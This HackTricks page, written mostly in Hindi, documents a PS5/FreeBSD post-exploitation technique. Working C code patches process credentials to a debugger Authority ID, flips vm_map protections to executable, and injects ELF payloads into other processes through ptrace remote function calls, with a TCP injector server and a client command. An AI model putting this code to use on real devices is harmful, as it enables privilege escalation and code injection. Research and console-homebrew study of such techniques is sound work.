FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 केस स्टडी)

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

अवलोकन

यह पृष्ठ PlayStation 5 (PS5) पर एक व्यावहारिक Unix/BSD usermode प्रक्रिया/ELF इंजेक्शन तकनीक का दस्तावेज़ीकरण करता है, जो FreeBSD पर आधारित है। यह विधि FreeBSD व्युत्पन्नों पर भी सामान्यीकृत होती है जब आपके पास पहले से kernel read/write (R/W) प्रिमिटिव्स हों। उच्च स्तरीय:

  • वर्तमान प्रक्रिया के credentials (ucred) को पैच करें ताकि debugger अधिकार मिलें, जिससे arbitrary user प्रक्रियाओं पर ptrace/mdbg सक्षम हो सके।
  • kernel allproc list को चलाकर लक्षित प्रक्रियाओं का पता लगाएँ।
  • लक्ष्य के vm_map में kernel data writes के माध्यम से vm_map_entry.protection |= PROT_EXEC करके PROT_EXEC प्रतिबंधों को बायपास करें।
  • ptrace का उपयोग करके Remote Function Invocation (RFI) करें: एक थ्रेड को निलंबित करें, रजिस्टर सेट करें ताकि लक्ष्य के अंदर arbitrary फ़ंक्शंस कॉल हो सकें, फिर resume करें, रिटर्न मान एकत्र करें, और स्थिति पुनर्स्थापित करें।
  • in-process ELF loader का उपयोग करके लक्ष्य के अंदर arbitrary ELF payloads मैप और चलाएँ, फिर एक समर्पित थ्रेड स्पॉन करें जो आपका payload चलाए और साफ़ तरीके से detach करने के लिए एक breakpoint ट्रिगर करे।

PS5 hypervisor mitigations जिन्हें उल्लेख करना आवश्यक है (इस तकनीक के संदर्भ में):

  • XOM (execute-only .text) kernel .text को पढ़ने/लिखने से रोकता है।
  • CR0.WP को साफ़ करना या CR4.SMEP को अक्षम करना एक hypervisor vmexit (क्रैश) का कारण बनता है। केवल data-only kernel writes व्यावहारिक हैं।
  • Userland mmap डिफ़ॉल्ट रूप से PROT_READ|PROT_WRITE तक सीमित है। PROT_EXEC प्रदान करना kernel मेमोरी में vm_map एंट्रियों को संशोधित करके ही किया जाना चाहिए।

यह तकनीक post-exploitation है: यह मानती है कि exploit chain से kernel R/W प्रिमिटिव्स पहले से मौजूद हैं। सार्वजनिक payloads लेखन के समय firmware 10.01 तक इसे प्रदर्शित करते हैं।

Kernel data-only primitives

allproc के माध्यम से प्रक्रिया की खोज

FreeBSD kernel .data में allproc पर प्रक्रियाओं की एक doubly-linked list बनाए रखता है। एक kernel read primitive के साथ, इसे इटरेट करके प्रक्रिया नामों और PIDs का पता लगाएँ:

c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));       // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t));                // advance next
} while (next);
free(proc);
return NULL;
}

void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}

नोट:

  • KERNEL_ADDRESS_ALLPROC फर्मवेयर-निर्भर है।
  • p_comm एक स्थिर-आकार नाम है; आवश्यकता होने पर pid->proc खोजों पर विचार करें।

डिबगिंग के लिए क्रेडेंशियल उन्नत करें (ucred)

PS5 पर, struct ucred में proc->p_ucred के माध्यम से पहुँचे जाने योग्य एक Authority ID फ़ील्ड शामिल है। debugger Authority ID लिखने से अन्य प्रक्रियाओं पर ptrace/mdbg की अनुमति मिल जाती है:

c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
  • Offset 0x58 PS5 firmware परिवार के लिए विशिष्ट है और इसे प्रत्येक संस्करण के अनुसार सत्यापित किया जाना चाहिए।
  • इस write के बाद, injector ptrace/mdbg के माध्यम से user processes को attach और instrument कर सकता है।

RW-only user mappings को बाइपास करना: vm_map PROT_EXEC flip

Userland mmap संभवतः PROT_READ|PROT_WRITE तक सीमित हो सकता है। FreeBSD एक प्रक्रिया के address space को vm_map में vm_map_entry नोड्स (BST plus list) के रूप में ट्रैक करता है। प्रत्येक एंट्री में protection और max_protection फील्ड होते हैं:

c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};

कर्नेल R/W के साथ आप target का vm_map ढूँढकर entry->protection |= PROT_EXEC सेट कर सकते हैं (और जरूरत होने पर entry->max_protection)। व्यावहारिक इम्प्लीमेंटेशन नोट्स:

  • एंट्रीज़ को या तो next के जरिए रैखिक रूप से चलाएँ या address range से O(log n) खोज के लिए balanced-tree (left/right) का उपयोग करें।
  • अपने नियंत्रण में एक ज्ञात RW region चुनें (scratch buffer या mapped file) और PROT_EXEC जोड़ें ताकि आप कोड या loader thunks स्टेज कर सकें।
  • PS5 SDK code तेज़ map-entry lookup और protections toggle करने वाले helpers प्रदान करता है।

यह सीधे कर्नेल-स्वामित्व वाली मेटाडेटा को संपादित करके userland की mmap नीति को बायपास करता है।

Remote Function Invocation (RFI) के साथ ptrace

FreeBSD में Windows-style VirtualAllocEx/CreateRemoteThread मौजूद नहीं है। इसके बजाय, ptrace नियंत्रण में लक्ष्य को खुद ही functions कॉल करवाएँ:

  1. Target से attach करें और एक thread चुनें; PTRACE_ATTACH या PS5-specific mdbg flows लागू हो सकते हैं।
  2. थ्रेड context सुरक्षित करें: registers, PC, SP, flags।
  3. ABI (x86_64 SysV या arm64 AAPCS64) के अनुसार argument registers लिखें, PC को target function पर सेट करें, और आवश्यकता के अनुसार अतिरिक्त args/stack रखें।
  4. Single-step करें या controlled stop (उदा., software breakpoint या signal) तक continue रखें, फिर regs से return values पढ़ें।
  5. मूल context बहाल करें और continue करें।

Use cases:

  • एक इन-प्रोसेस ELF loader (उदा., elfldr_load) को कॉल करें, जिसमें target memory में आपके ELF image का pointer दिया गया हो।
  • वापसी किए गए entrypoints और payload-args pointers लाने के लिए helper routines को invoke करें।

Example of driving the ELF loader:

c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args  = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);

The loader segments को map करता है, imports को resolve करता है, relocations लागू करता है और entry (अक्सर एक CRT bootstrap) के साथ-साथ एक opaque payload_args pointer वापस करता है जिसे आपका stager payload के main() को पास करता है।

Threaded stager और clean detach

Target के अंदर एक न्यूनतम stager एक नया pthread बनाता है जो ELF के main को चलाता है और फिर injector को detach करने का signal भेजने के लिए int3 को trigger करता है:

c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
  • SCEFunctions/payload_args pointers loader/SDK glue द्वारा प्रदान किए जाते हैं।
  • breakpoint और detach के बाद, payload अपने स्वयं के thread में जारी रहता है।

एंड-टू-एंड पाइपलाइन (PS5 संदर्भ कार्यान्वयन)

A working implementation ships as a small TCP injector server plus a client script:

  • NineS server TCP 9033 पर सुनता है और एक header प्राप्त करता है जिसमें target process name और उसके बाद ELF image होता है:
c
typedef struct __injector_data_t{
char       proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
  • Python क्लाइंट का उपयोग:
bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>

Hello-world payload उदाहरण (logs to klog):

c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}

व्यावहारिक विचार

  • ऑफ़सेट्स और कॉन्स्टेंट्स (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) फर्मवेयर-विशिष्ट होते हैं और प्रत्येक रिलीज़ के लिए अपडेट किए जाने चाहिए।
  • Hypervisor सुरक्षा केवल डेटा-लेखन वाले कर्नेल writes को बाध्य करती है; CR0.WP या CR4.SMEP को patch करने का प्रयास न करें।
  • JIT मेमोरी एक विकल्प है: कुछ processes executable पेज़ अलोकेट करने के लिए PS5 JIT APIs एक्सपोज़ करते हैं। vm_map protection flip JIT/mirroring ट्रिक्स पर निर्भर होने की आवश्यकता को हटा देता है।
  • रजिस्टर को सुरक्षित करने और पुनर्स्थापित करने की प्रक्रिया मजबूत रखें; विफलता पर लक्ष्य deadlock या crash हो सकता है।

सार्वजनिक टूलिंग

  • PS5 SDK (डायनामिक लिंकिंग, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
  • ELF loader: https://github.com/ps5-payload-dev/elfldr
  • Injector server: https://github.com/buzzer-re/NineS/
  • Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
  • Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें